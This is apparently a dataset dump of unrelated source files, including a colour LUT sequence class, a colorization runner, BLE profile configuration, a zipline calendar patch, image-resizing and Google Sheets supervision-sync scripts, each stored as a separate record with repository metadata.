\"AbstractLUTSequenceOperator\"!')\n\n self._sequence = list(args)\n\n @property\n def sequence(self):\n \"\"\"\n Getter and setter property for the underlying *LUT* sequence.\n\n Parameters\n ----------\n value : list\n Value to set the the underlying *LUT* sequence with.\n\n Returns\n -------\n list\n Underlying *LUT* sequence.\n \"\"\"\n\n return self._sequence\n\n @sequence.setter\n def sequence(self, value):\n \"\"\"\n Setter for **self.sequence** property.\n \"\"\"\n\n if value is not None:\n self._sequence = list(value)\n\n def __getitem__(self, index):\n \"\"\"\n Returns the *LUT* sequence item at given index.\n\n Parameters\n ----------\n index : int\n *LUT* sequence item index.\n\n Returns\n -------\n LUT1D or LUT3x1D or LUT3D or AbstractLUTSequenceOperator\n *LUT* sequence item at given index.\n \"\"\"\n\n return self._sequence[index]\n\n def __setitem__(self, index, value):\n \"\"\"\n Sets given the *LUT* sequence item at given index with given value.\n\n Parameters\n ----------\n index : int\n *LUT* sequence item index.\n value : LUT1D or LUT3x1D or LUT3D or AbstractLUTSequenceOperator\n Value.\n \"\"\"\n\n self._sequence[index] = value\n\n def __delitem__(self, index):\n \"\"\"\n Deletes the *LUT* sequence item at given index.\n\n Parameters\n ----------\n index : int\n *LUT* sequence item index.\n \"\"\"\n\n del self._sequence[index]\n\n def __len__(self):\n \"\"\"\n Returns the *LUT* sequence items count.\n\n Returns\n -------\n int\n *LUT* sequence items count.\n \"\"\"\n\n return len(self._sequence)\n\n def __str__(self):\n \"\"\"\n Returns a formatted string representation of the *LUT* sequence.\n\n Returns\n -------\n unicode\n Formatted string representation.\n \"\"\"\n\n operations = re.sub(\n '^',\n ' ' * 4,\n '\\n\\n'.join([str(a) for a in self._sequence]),\n flags=re.MULTILINE)\n operations = re.sub('^\\\\s+$', '', operations, flags=re.MULTILINE)\n\n return ('LUT Sequence\\n'\n '------------\\n\\n'\n 'Overview\\n\\n'\n ' {0}\\n\\n'\n 'Operations\\n\\n'\n '{1}').format(\n ' ---> '.join(\n [a.__class__.__name__ for a in self._sequence]),\n operations)\n\n def __repr__(self):\n \"\"\"\n Returns an evaluable string representation of the *LUT* sequence.\n\n Returns\n -------\n unicode\n Evaluable string representation.\n \"\"\"\n\n operations = re.sub(\n '^',\n ' ' * 4,\n ',\\n'.join([repr(a) for a in self._sequence]),\n flags=re.MULTILINE)\n operations = re.sub('^\\\\s+$', '', operations, flags=re.MULTILINE)\n\n return '{0}(\\n{1}\\n)'.format(self.__class__.__name__, operations)\n\n def __eq__(self, other):\n \"\"\"\n Returns whether the *LUT* sequence is equal to given other object.\n\n Parameters\n ----------\n other : object\n Object to test whether it is equal to the *LUT* sequence.\n\n Returns\n -------\n bool\n Is given object equal to the *LUT* sequence.\n \"\"\"\n\n if not isinstance(other, LUTSequence):\n return False\n\n if len(self) != len(other):\n return False\n\n # pylint: disable=C0200\n for i in range(len(self)):\n if self[i] != other[i]:\n return False\n\n return True\n\n def __ne__(self, other):\n \"\"\"\n Returns whether the *LUT* sequence is not equal to given other object.\n\n Parameters\n ----------\n other : object\n Object to test whether it is not equal to the *LUT* sequence.\n\n Returns\n -------\n bool\n Is given object not equal to the *LUT* sequence.\n \"\"\"\n\n return not (self == other)\n\n # pylint: disable=W0221\n def insert(self, index, LUT):\n \"\"\"\n Inserts given *LUT* at given index into the *LUT* sequence.\n\n Parameters\n ----------\n index : index\n Index to insert the *LUT* at into the *LUT* sequence.\n LUT : LUT1D or LUT3x1D or LUT3D or AbstractLUTSequenceOperator\n *LUT* to insert into the *LUT* sequence.\n \"\"\"\n\n assert isinstance(\n LUT, (LUT1D, LUT3x1D, LUT3D, AbstractLUTSequenceOperator)), (\n '\"LUT\" must be an instance of \"LUT1D\", \"LUT3x1D\", \"LUT3D\" or '\n '\"AbstractLUTSequenceOperator\"!')\n\n self._sequence.insert(index, LUT)\n\n def apply(self,\n RGB,\n interpolator_1D=LinearInterpolator,\n interpolator_1D_args=None,\n interpolator_3D=table_interpolation_trilinear,\n interpolator_3D_args=None):\n \"\"\"\n Applies the *LUT* sequence sequentially to given *RGB* colourspace\n array.\n\n Parameters\n ----------\n RGB : array_like\n *RGB* colourspace array to apply the *LUT* sequence sequentially\n onto.\n interpolator_1D : object, optional\n Interpolator object to use as interpolating function for\n :class:`colour.LUT1D` (and :class:`colour.LUT3x1D`) class\n instances.\n interpolator_1D_args : dict_like, optional\n Arguments to use when calling the interpolating function for\n :class:`colour.LUT1D` (and :class:`colour.LUT3x1D`) class\n instances.\n interpolator_3D : object, optional\n Interpolator object to use as interpolating function for\n :class:`colour.LUT3D` class instances.\n interpolator_3D_args : dict_like, optional\n Arguments to use when calling the interpolating function for\n :class:`colour.LUT3D` class instances.\n\n Returns\n -------\n ndarray\n Processed *RGB* colourspace array.\n\n Examples\n --------\n >>> LUT_1 = LUT1D(LUT1D.linear_table(16) + 0.125)\n >>> LUT_2 = LUT3D(LUT3D.linear_table(16) ** (1 / 2.2))\n >>> LUT_3 = LUT3x1D(LUT3x1D.linear_table(16) * 0.750)\n >>> LUT_sequence = LUTSequence(LUT_1, LUT_2, LUT_3)\n >>> samples = np.linspace(0, 1, 5)\n >>> RGB = tstack([samples, samples, samples])\n >>> LUT_sequence.apply(RGB) # doctest: +ELLIPSIS\n array([[ 0.2899886..., 0.2899886..., 0.2899886...],\n [ 0.4797662..., 0.4797662..., 0.4797662...],\n [ 0.6055328..., 0.6055328..., 0.6055328...],\n [ 0.7057779..., 0.7057779..., 0.7057779...],\n [ 0.75 ..., 0.75 ..., 0.75 ...]])\n \"\"\"\n\n for operation in self:\n if isinstance(operation, (LUT1D, LUT3x1D)):\n RGB = operation.apply(RGB, interpolator_1D,\n interpolator_1D_args)\n elif isinstance(operation, LUT3D):\n RGB = operation.apply(RGB, interpolator_3D,\n interpolator_3D_args)\n else:\n RGB = operation.apply(RGB)\n\n return RGB\n\n def copy(self):\n \"\"\"\n Returns a copy of the *LUT* sequence.\n\n Returns\n -------\n LUTSequence\n *LUT* sequence copy.\n \"\"\"\n\n return deepcopy(self)\n","sub_path":"colour/io/luts/lut.py","file_name":"lut.py","file_ext":"py","file_size_in_byte":67475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"102691742","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-)\n\nimport pickle \n\n#i = 1\n#while(1 == 1):\n# file = open('%s.csv' % i, 'w')\n# file.close()\n# i=i+1\n\nf = open('conv.txt', 'r')\nfText = f.read()\n#bin(int.from_bytes('hello'.encode(), 'big'))\nfBin = bin(int.from_bytes(fText.encode(), 'big'))\nf.close()\nf = open('conv.txt', 'w+')\n#fEn = fBin.decode('ascii')\nf.write(fBin )\n#pickle.dump(fBin, f)\n\n#print(fText)\n#print('Binario')\n#print(fBin)\n\n#n = int('0b110100001100101011011000110110001101111', 2)\n#n.to_bytes((n.bit_length() + 7) // 8, 'big').decode()\n\nf.close()\n","sub_path":"convert/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"536919318","text":"import os\r\nos.environ['CUDA_DEVICE_ORDER'] = 'PCI_BUS_ID'\r\nimport sys\r\nimport csv\r\nimport cv2\r\nimport argparse\r\nimport numpy as np\r\nimport torch\r\nfrom autoencoders import myColorizationAE\r\nfrom data_io import load_single_image\r\nfrom utils import show_image\r\nfrom func import predict_once\r\n\r\n\r\n### データセットに応じてこの部分を書き換える必要あり ###\r\n\r\n# 入力画像の縦幅・横幅・チャンネル数の設定(別データセットを使う場合,下の二つを書き換える)\r\nWIDTH = 128 # VGGFace2顔画像の場合,横幅は 128 pixels\r\nHEIGHT = 128 # VGGFace2顔画像の場合,縦幅も 128 pixels\r\n\r\n### ここまで ###\r\n\r\n\r\n# エントリポイント\r\nif __name__ == '__main__':\r\n\r\n # コマンドライン引数のパース\r\n parser = argparse.ArgumentParser(description = 'CNN Model for Image Colorization (Execution)')\r\n parser.add_argument('--gpu', '-g', default=-1, type=int, help='GPU ID (negative value indicates CPU)')\r\n parser.add_argument('--in_filepath', '-i', default='', type=str, help='input file path')\r\n parser.add_argument('--out_filepath', '-o', default='', type=str, help='output file path')\r\n parser.add_argument('--model', '-m', default='colorize_model.pth', type=str, help='file path of trained model')\r\n args = parser.parse_args()\r\n\r\n # コマンドライン引数のチェック\r\n if args.in_filepath is None or args.in_filepath == '':\r\n print('error: no input file path is specified.', file=sys.stderr)\r\n exit()\r\n if args.out_filepath is None or args.out_filepath == '':\r\n print('error: no output file path is specified.', file=sys.stderr)\r\n exit()\r\n\r\n # デバイスの設定\r\n dev_str = 'cuda:{0}'.format(args.gpu) if torch.cuda.is_available() and args.gpu >= 0 else 'cpu'\r\n dev = torch.device(dev_str)\r\n\r\n # オプション情報の設定・表示\r\n in_filepath = args.in_filepath # 入力ファイルパス\r\n out_filepath = args.out_filepath # 出力ファイルパス\r\n model_filepath = args.model # 学習済みモデルのファイルパス\r\n print('device: {0}'.format(dev_str), file=sys.stderr)\r\n print('input file: {0}'.format(in_filepath), file=sys.stderr)\r\n print('output file: {0}'.format(out_filepath), file=sys.stderr)\r\n print('model file: {0}'.format(model_filepath), file=sys.stderr)\r\n print('', file=sys.stderr)\r\n\r\n # 学習済みのオートエンコーダをロード\r\n cnn = myColorizationAE(WIDTH, HEIGHT)\r\n cnn.load_state_dict(torch.load(model_filepath))\r\n\r\n # mode=0: 入力ファイルをグレースケール画像として読み込む\r\n img = load_single_image(in_filepath, mode=0)\r\n\r\n # 入力画像を表示\r\n show_image(img, title='input image', mode=0)\r\n\r\n # 入力画像をモデルに入力してカラー化\r\n y = predict_once(device=dev, model=cnn, in_data=img)\r\n\r\n # カラー化結果を表示\r\n show_image(y, title='output image', mode=1)\r\n\r\n # カラー化結果をファイルに保存\r\n y = np.asarray(y.transpose(1, 2, 0) * 255, dtype=np.uint8)\r\n cv2.imwrite(out_filepath, y)\r\n\r\n print('', file=sys.stderr)\r\n","sub_path":"colorize_exec.py","file_name":"colorize_exec.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"7947987","text":"def bleTrcpsEnable(symbol, event):\n symbol.setEnabled(event[\"value\"])\n\n#def bleTrcpcEnable(symbol, event):\n# symbol.setEnabled(event[\"value\"])\n \n \ndef instantiateComponent(profileBLE_TRCP_Component):\n print('profileBLE_TRCP_Component')\n configName = Variables.get('__CONFIGURATION_NAME')\n processor = Variables.get(\"__PROCESSOR\")\n\n print('Config Name: {} processor: {}'.format(configName, processor))\n\n #################################################################\n ################## Client Role Settings ###############\n #################################################################\n menuClient = profileBLE_TRCP_Component.createBooleanSymbol('TRCP_BOOL_CLIENT', None)\n menuClient.setLabel('Enable Client Role')\n menuClient.setDefaultValue(False)\n menuClient.setVisible(False)\n \n \n #################################################################\n ################## Server Role Settings ###############\n #################################################################\n menuSERVER = profileBLE_TRCP_Component.createBooleanSymbol('TRCP_BOOL_SERVER', None)\n menuSERVER.setLabel('Enable Server Role')\n menuSERVER.setDefaultValue(False)\n\n\n #################################################################\n ################## Add Source File ###############\n #################################################################\n\n # Add ble_trcbps.c file\n bleTrcbpsSourceFile = profileBLE_TRCP_Component.createFileSymbol(None, None)\n bleTrcbpsSourceFile.setSourcePath('driver/ble/src/ble_src/profile_ble/ble_trcbps/ble_trcbps.c')\n bleTrcbpsSourceFile.setOutputName('ble_trcbps.c')\n bleTrcbpsSourceFile.setOverwrite(True)\n bleTrcbpsSourceFile.setDestPath('ble/profile_ble/ble_trcbps/')\n bleTrcbpsSourceFile.setProjectPath('config/' + configName + '/ble/profile_ble/ble_trcbps/')\n bleTrcbpsSourceFile.setType('SOURCE')\n bleTrcbpsSourceFile.setEnabled(False)\n bleTrcbpsSourceFile.setMarkup(True)\n bleTrcbpsSourceFile.setDependencies(bleTrcpsEnable, [\"TRCP_BOOL_SERVER\"])\n\n # Add ble_trcbps.h file\n bleTrcbpsHeaderFile = profileBLE_TRCP_Component.createFileSymbol(None, None)\n bleTrcbpsHeaderFile.setSourcePath('driver/ble/src/ble_src/profile_ble/ble_trcbps/ble_trcbps.h')\n bleTrcbpsHeaderFile.setOutputName('ble_trcbps.h')\n bleTrcbpsHeaderFile.setOverwrite(True)\n bleTrcbpsHeaderFile.setDestPath('ble/profile_ble/ble_trcbps/')\n bleTrcbpsHeaderFile.setProjectPath('config/' + configName + '/ble/profile_ble/ble_trcbps/')\n bleTrcbpsHeaderFile.setType('HEADER')\n bleTrcbpsHeaderFile.setEnabled(False)\n bleTrcbpsHeaderFile.setMarkup(True)\n bleTrcbpsHeaderFile.setDependencies(bleTrcpsEnable, [\"TRCP_BOOL_SERVER\"])\n\n # Add app_trcbps.c file - static file\n bleTrcbpsAppSourceFile = profileBLE_TRCP_Component.createFileSymbol(None, None)\n bleTrcbpsAppSourceFile.setSourcePath('driver/ble/src/app_trcbps_handler.c')\n bleTrcbpsAppSourceFile.setOutputName('app_trcbps_handler.c')\n bleTrcbpsAppSourceFile.setOverwrite(True)\n bleTrcbpsAppSourceFile.setDestPath('../../app_ble')\n bleTrcbpsAppSourceFile.setProjectPath('app_ble')\n bleTrcbpsAppSourceFile.setType('Source')\n bleTrcbpsAppSourceFile.setEnabled(False)\n bleTrcbpsAppSourceFile.setDependencies(bleTrcpsEnable, [\"TRCP_BOOL_SERVER\"])\n \n # Add app_trcbps.h file - static file\n bleTrcbpsAppHeaderFile = profileBLE_TRCP_Component.createFileSymbol(None, None)\n bleTrcbpsAppHeaderFile.setSourcePath('driver/ble/src/app_trcbps_handler.h')\n bleTrcbpsAppHeaderFile.setOutputName('app_trcbps_handler.h')\n bleTrcbpsAppHeaderFile.setOverwrite(True)\n bleTrcbpsAppHeaderFile.setDestPath('../../app_ble')\n bleTrcbpsAppHeaderFile.setProjectPath('app_ble')\n bleTrcbpsAppHeaderFile.setType('HEADER')\n bleTrcbpsAppHeaderFile.setEnabled(False)\n bleTrcbpsAppHeaderFile.setDependencies(bleTrcpsEnable, [\"TRCP_BOOL_SERVER\"])\n \n # Add ble_trcbpc.c file\n #bleTrcbpsSourceFile = profileBLE_TRCP_Component.createFileSymbol(None, None)\n #bleTrcbpsSourceFile.setSourcePath('driver/ble/src/ble_src/profile_ble/ble_trcbpc/ble_trcbpc.c')\n #bleTrcbpsSourceFile.setOutputName('ble_trcbpc.c')\n #bleTrcbpsSourceFile.setOverwrite(True)\n #bleTrcbpsSourceFile.setDestPath('ble/profile_ble/ble_trcbpc/')\n #bleTrcbpsSourceFile.setProjectPath('config/' + configName + '/ble/profile_ble/ble_trcbpc/')\n #bleTrcbpsSourceFile.setType('SOURCE')\n #bleTrcbpsSourceFile.setEnabled(False)\n #bleTrcbpsSourceFile.setMarkup(True)\n #bleTrcbpsSourceFile.setDependencies(bleTrcpcEnable, [\"TRCP_BOOL_CLIENT\"])\n\n # Add ble_trcbpc.h file\n #bleTrcbpsHeaderFile = profileBLE_TRCP_Component.createFileSymbol(None, None)\n #bleTrcbpsHeaderFile.setSourcePath('driver/ble/src/ble_src/profile_ble/ble_trcbpc/ble_trcbpc.h')\n #bleTrcbpsHeaderFile.setOutputName('ble_trcbpc.h')\n #bleTrcbpsHeaderFile.setOverwrite(True)\n #bleTrcbpsHeaderFile.setDestPath('ble/profile_ble/ble_trcbpc/')\n #bleTrcbpsHeaderFile.setProjectPath('config/' + configName + '/ble/profile_ble/ble_trcbpc/')\n #bleTrcbpsHeaderFile.setType('HEADER')\n #bleTrcbpsHeaderFile.setEnabled(False)\n #bleTrcbpsHeaderFile.setMarkup(True)\n #bleTrcbpsHeaderFile.setDependencies(bleTrcpcEnable, [\"TRCP_BOOL_CLIENT\"]) \n\n # Add app_trcbpC.c file - static file\n #bleTrcbpcAppSourceFile = profileBLE_TRCP_Component.createFileSymbol(None, None)\n #bleTrcbpcAppSourceFile.setSourcePath('driver/ble/src/app_trcbpc_handler.c')\n #bleTrcbpcAppSourceFile.setOutputName('app_trcbpc_handler.c')\n #bleTrcbpcAppSourceFile.setOverwrite(True)\n #bleTrcbpcAppSourceFile.setDestPath('../../')\n #bleTrcbpcAppSourceFile.setProjectPath('')\n #bleTrcbpcAppSourceFile.setType('Source')\n #bleTrcbpcAppSourceFile.setEnabled(True)\n #bleTrcbpcAppSourceFile.setDependencies(bleTrcpcEnable, [\"TRCP_BOOL_CLIENT\"])\n \n # Add app_trcbpC.h file - static file\n #bleTrcbpcAppHeaderFile = profileBLE_TRCP_Component.createFileSymbol(None, None)\n #bleTrcbpcAppHeaderFile.setSourcePath('driver/ble/src/app_trcbpc_handler.h')\n #bleTrcbpcAppHeaderFile.setOutputName('app_trcbpc_handler.h')\n #bleTrcbpcAppHeaderFile.setOverwrite(True)\n #bleTrcbpcAppHeaderFile.setDestPath('../../')\n #bleTrcbpcAppHeaderFile.setProjectPath('')\n #bleTrcbpcAppHeaderFile.setType('HEADER')\n #bleTrcbpcAppHeaderFile.setEnabled(True)\n #bleTrcbpcAppHeaderFile.setDependencies(bleTrcpcEnable, [\"TRCP_BOOL_SERVER\"]) \n\n\ndef finalizeComponent(BLEStackComponent):\n Log.writeInfoMessage('Finalizing: {}'.format(BLEStackComponent.getID()))\n activeComponents = Database.getActiveComponentIDs()\n requiredComponents = ['svcBLE_TRCS']\n for r in requiredComponents:\n if r not in activeComponents:\n res = Database.activateComponents([r])\n","sub_path":"H3/wireless/driver/ble/config/trcp.py","file_name":"trcp.py","file_ext":"py","file_size_in_byte":6900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"405262576","text":"import itertools\nfrom cellular_functions import *\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\n'''x=int(input(\"Enter elements of rule vector \"))\nst=input(\"Enter the rule vector :\")\nrule=list(map(int, st.split(' ')[:x]))\nn=int(input(\"Enter elements of rule vector \"))\ncomb=list(itertools.product(rule,repeat=n))'''\n\n\n#problem 1 solution\ndef print_pattern_defined(n,rule):\n output=[]\n for i in range(0,2**n):\n s=bin(i)[2:]\n string='0'*n\n string=string[:-len(s)]+s\n output.append(apply(string,rule))\n return output\nx=int(input(\"Enter the size of rule vector \"))\nst=input(\"Enter the rule vector :\")\nrule=list(map(int, st.split(' ')[:x]))\nans=print_pattern_defined(x,rule)\nans=[int('0b'+i,2) for i in ans]\nprint(ans)\ng = nx.DiGraph()\ng.add_nodes_from([i for i in range(len(ans))])\nfor i in range(0,len(ans)):\n g.add_edge(i,ans[i])\n#pos=nx.fruchterman_reingold_layout(g)\n#pos=nx.spring_layout(g)\npos=nx.shell_layout(g)\nnx.draw(g,pos,with_labels=True)\n#plt.savefig(\"weighted_graph.png\")\nplt.draw()\nplt.show()\n\n","sub_path":"Cellular Null Boundary/draw_std.py","file_name":"draw_std.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"613335497","text":"\"\"\"\n WualaCleaner: tool to clean up \"fotos-familie\" archive\n WualaCleaner.py is copyright 2013,2014 Jeroen Doggen.\n\"\"\"\n\nimport os\nimport sys\nimport shutil\n\n\nSCRIPTPATH = os.getcwd()\nINPUTFOLDER = SCRIPTPATH + \"/input\"\nOUTPUTFOLDER = SCRIPTPATH + \"/output\"\n\n\ndef run():\n \"\"\"Run the main program\"\"\"\n print(\"Moving files to output folder & creating lowres versions...\")\n for directory, subdirectories, files in os.walk(INPUTFOLDER):\n print(directory)\n for thefile in files:\n os.chdir(directory)\n if not \"_lowres\" in thefile:\n outputfile = thefile + \"_lowres.jpg\"\n os.system(\"convert -gaussian-blur 0.03 -quality 75% -resize 1280\"\n + \" \" + thefile\n + \" \" + outputfile)\n dirs = os.path.split(directory)\n dirs = dirs[1]\n target = os.path.join(OUTPUTFOLDER, dirs)\n print(\"Creating: \" + dirs + \"/\" + outputfile)\n if not os.path.exists(target):\n os.mkdir(target)\n if os.path.exists(outputfile):\n shutil.move(outputfile, target + \"/\" + outputfile)\n os.chdir(INPUTFOLDER)\n\n\ndef get_size(start_path='.'):\n \"\"\" Calculate folder size \"\"\"\n total_size = 0\n for dirpath, dirnames, filenames in os.walk(start_path):\n for inputfile in filenames:\n filepointer = os.path.join(dirpath, inputfile)\n total_size += os.path.getsize(filepointer)\n return float(total_size)\n\n\nif __name__ == \"__main__\":\n sys.exit(run())\n","sub_path":"wualaCleaner/WualaCleaner.py","file_name":"WualaCleaner.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"126123812","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb 17 18:09:58 2019\n\n@author: harshal\n\"\"\"\n\nmainStr = 'pqrsxytprqmjklqprsxypqrsd'\n\ntar = 'pqr'\n\n'''find the start index of all permutations of target string'''\n\nL = len(mainStr)\nX=[]\nfor i in range(len(mainStr)):\n temp = list(tar)\n if mainStr[i] in tar:\n while temp and i 1.2.5.\n# exchange-calendars is a fork that retained the same functionalities,\n# but dropped support for zipline 1 minute delay in open and changed some default settings in calendars.\n#\n# We resort here to monkey patching the `_fabricate` function of the ExchangeCalendarDispatcher\n# and importing `ExchangeCalendar as TradingCalendar` to get as close as possible to the\n# behavior expected by zipline, while also maintaining the possibility to revert back\n# to pandas==1.2.5 and trading-calendars in case something breaks heavily.\n#\n# In order to avoid problems, especially when using the exchange-calendars,\n# all imports should be done via `calendar_utils`, e.g:\n# `from zipline.utils.calendar_utils import get_calendar, register_calendar, ...`\n#\n# Some calendars like for instance the Korean exchange have been extensively updated and might no longer\n# work as expected\n\ntry:\n from exchange_calendars import ExchangeCalendar as TradingCalendar\n from exchange_calendars.calendar_utils import (\n ExchangeCalendarDispatcher,\n _default_calendar_factories,\n _default_calendar_aliases,\n )\n from exchange_calendars.errors import InvalidCalendarName\n from exchange_calendars.utils.memoize import lazyval\n from exchange_calendars.utils.pandas_utils import days_at_time # noqa: reexport\n\n def _fabricate(self, name: str, **kwargs):\n \"\"\"Fabricate calendar with `name` and `**kwargs`.\"\"\"\n try:\n factory = self._calendar_factories[name]\n except KeyError as e:\n raise InvalidCalendarName(calendar_name=name) from e\n if name in [\"us_futures\", \"CMES\", \"XNYS\"]:\n # exchange_calendars has a different default start data\n # that we need to overwrite in order to pass the legacy tests\n setattr(factory, \"default_start\", pd.Timestamp(\"1990-01-01\", tz=UTC))\n # kwargs[\"start\"] = pd.Timestamp(\"1990-01-01\", tz=\"UTC\")\n if name not in [\"us_futures\", \"24/7\", \"24/5\", \"CMES\"]:\n # Zipline had default open time of t+1min\n factory.open_times = [\n (d, t.replace(minute=t.minute + 1)) for d, t in factory.open_times\n ]\n calendar = factory(**kwargs)\n self._factory_output_cache[name] = (calendar, kwargs)\n return calendar\n\n # Yay! Monkey patching\n ExchangeCalendarDispatcher._fabricate = _fabricate\n\n global_calendar_dispatcher = ExchangeCalendarDispatcher(\n calendars={},\n calendar_factories=_default_calendar_factories,\n aliases=_default_calendar_aliases,\n )\n get_calendar = global_calendar_dispatcher.get_calendar\n\n get_calendar_names = global_calendar_dispatcher.get_calendar_names\n clear_calendars = global_calendar_dispatcher.clear_calendars\n deregister_calendar = global_calendar_dispatcher.deregister_calendar\n register_calendar = global_calendar_dispatcher.register_calendar\n register_calendar_type = global_calendar_dispatcher.register_calendar_type\n register_calendar_alias = global_calendar_dispatcher.register_calendar_alias\n resolve_alias = global_calendar_dispatcher.resolve_alias\n aliases_to_names = global_calendar_dispatcher.aliases_to_names\n names_to_aliases = global_calendar_dispatcher.names_to_aliases\n\nexcept ImportError:\n if PANDAS_VERSION > \"1.2.5\":\n raise ImportError(\"For pandas >= 1.3 YOU MUST INSTALL exchange-calendars\")\n else:\n from trading_calendars import (\n register_calendar,\n TradingCalendar,\n get_calendar,\n register_calendar_alias,\n )\n from trading_calendars.calendar_utils import global_calendar_dispatcher\n from trading_calendars.utils.memoize import lazyval\n from trading_calendars.utils.pandas_utils import days_at_time # noqa: reexport\n","sub_path":"src/zipline/utils/calendar_utils.py","file_name":"calendar_utils.py","file_ext":"py","file_size_in_byte":3977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"570354112","text":"import logging\n\nimport arrow\nimport gspread\nfrom django.conf import settings\nfrom django.contrib.auth.models import Group\nfrom django.core.exceptions import ValidationError\nfrom django.core.management.base import BaseCommand\nfrom epfl.sti.helpers.ldap import get_users\nfrom oauth2client.service_account import ServiceAccountCredentials\nfrom web.models import Person\n\nlogger = logging.getLogger(__name__)\n\n\nclass Command(BaseCommand):\n \"\"\"Loads all supervisions from GSheet and update the DB accordingly.\"\"\"\n\n def handle(self, **options):\n logger.info(\"loading supervisions\")\n client = get_client()\n supervisions = get_supervisions(\n client, settings.GOOGLE_SUPERVISORS_WORKSHEET_NAME\n )\n supervisions = process_supervisions(supervisions)\n update_supervisions(\n supervisions, client, settings.GOOGLE_SUPERVISORS_WORKSHEET_NAME\n )\n\n\ndef get_client():\n \"\"\"Get a Google API client instance\n\n Returns:\n client: the instance of the Google API client\n \"\"\"\n logger.info(\"getting client\")\n scope = [\"https://www.googleapis.com/auth/drive\"]\n credentials = ServiceAccountCredentials.from_json_keyfile_name(\n settings.GOOGLE_CLIENT_SECRET_PATH, scope\n )\n client = gspread.authorize(credentials)\n return client\n\n\ndef get_supervisions(client, worksheetName):\n \"\"\"Returns the list of supervisions contained in the worksheet.\n Args:\n client (client_class): The client object currently authenticated\n worksheetName (str): The name of the worksheet as it appears on Google Drive\n Returns:\n List of lists: The list of supervisions\n \"\"\"\n logger.info(\"getting supervisions\")\n sheet = client.open(worksheetName).sheet1\n records = sheet.get_all_values()\n return records\n\n\ndef process_supervisions(supervisions):\n \"\"\"Process all the supervisions\n Args:\n supervisions ([]): the list of supervision list you want to process\n Returns:\n []: the processed list of supervision lists\n \"\"\"\n logger.info(\"processing supervisions\")\n fields = supervisions[0]\n values = supervisions[1:]\n\n actionColIndex = fields.index(\"Action\")\n studentIdColIndex = fields.index(\"PhD sciper\")\n supervisorIdColIndex = fields.index(\"Supervisor sciper\")\n statusColIndex = fields.index(\"Synchronization status\")\n timestampeColIndex = fields.index(\"Synchronized at\")\n\n for value in values:\n\n # only perform a change for values that did not change already\n if value[timestampeColIndex] == \"\":\n value[statusColIndex] = \"\"\n\n result = process_supervision(\n action=value[actionColIndex],\n studentSciper=value[studentIdColIndex],\n supervisorSciper=value[supervisorIdColIndex],\n )\n\n value[statusColIndex] = result\n value[timestampeColIndex] = arrow.now(\"Europe/Zurich\").format(\n \"YYYY-MM-DD HH:mm:ss\"\n )\n\n returnValue = [fields] + values\n\n return returnValue\n\n\ndef process_supervision(studentSciper, supervisorSciper, action=\"add\"):\n \"\"\"process the supervision\n\n Args:\n studentSciper (str): the sciper id of the student\n supervisorSciper (str): the sciper id of the teacher\n action (str, optional): the action to be performed ([add|remove]). Defaults to \"add\".\n\n Returns:\n str: the status message of the operation\n \"\"\"\n logger.info(\n \"processing supervision ({} {} supervises {})\".format(\n action, supervisorSciper, studentSciper\n )\n )\n if action == \"add\":\n return add_supervision(studentSciper, supervisorSciper)\n elif action == \"remove\":\n return remove_supervision(studentSciper, supervisorSciper)\n else:\n logger.error(\"unknown action\")\n return \"unknown action. It should be 'add' or 'remove'\"\n\n\ndef add_supervision(studentSciper, supervisorSciper):\n \"\"\"add the supervision in the DB\n\n Args:\n studentSciper (str): the sciper id of the student\n supervisorSciper (str): the sciper id of the supervisor\n\n Returns:\n str: the status message of the operation\n \"\"\"\n has_error = False\n error_messages = []\n\n try:\n teacher = Person.objects.filter(sciper=supervisorSciper).first()\n if teacher is None:\n teacher = add_supervisor(supervisorSciper)\n add_to_group(teacher, \"teachers\")\n\n except Exception as ex:\n has_error = True\n error_messages.append(\"unable to get teacher - \" + str(ex))\n\n try:\n phd = Person.objects.filter(sciper=studentSciper).first()\n if phd is None:\n phd = add_phd(studentSciper)\n add_to_group(phd, \"phds\")\n except Exception as ex:\n has_error = True\n error_messages.append(\"unable to get phd - \" + str(ex))\n\n if has_error:\n logger.error(\"\\n\".join(error_messages))\n return \"\\n\".join(error_messages)\n\n try:\n if phd not in teacher.students.all():\n logger.info(\"adding student to teacher\")\n teacher.students.add(phd)\n return \"OK\"\n else:\n logger.warn(\"student already supervised by teacher\")\n return \"Already added\"\n except ValidationError as ex:\n logger.error(ex.message)\n return ex.message\n except Exception as ex:\n logger.exception(ex)\n return str(ex)\n\n\ndef remove_supervision(studentSciper, supervisorSciper):\n \"\"\"Remove the supervision from the DB\n\n Args:\n studentSciper (str): the sciper id of the student\n supervisorSciper (str): the sciper of the supervisor\n\n Returns:\n str: the status message of the operation\n \"\"\"\n logger.info(\"removing supervision\")\n logger.debug(\"student: \" + studentSciper)\n logger.debug(\"supervisor: \" + supervisorSciper)\n\n try:\n teacher = Person.objects.filter(sciper=supervisorSciper).first()\n phd = Person.objects.filter(sciper=studentSciper).first()\n\n if phd not in teacher.students.all():\n logger.warn(\"the student was not supervised by this person\")\n return \"Already removed\"\n else:\n teacher.students.remove(phd)\n logger.info(\"supervision removed\")\n return \"OK\"\n except Exception as ex:\n logger.exception(ex)\n return str(ex)\n\n\ndef add_supervisor(sciper):\n \"\"\"Add the person as teacher\n\n Args:\n sciper (str): the sciper of the person to add\n\n Returns:\n Person: The person object in DB that belongs to the Teachers group\n \"\"\"\n logger.info(\"adding supervisor with sciper #\" + sciper)\n supervisor = add_person(sciper)\n add_to_group(supervisor, \"teachers\")\n return supervisor\n\n\ndef add_phd(sciper):\n \"\"\"Add a person as PhD\n\n Args:\n sciper (str): the sciper of the 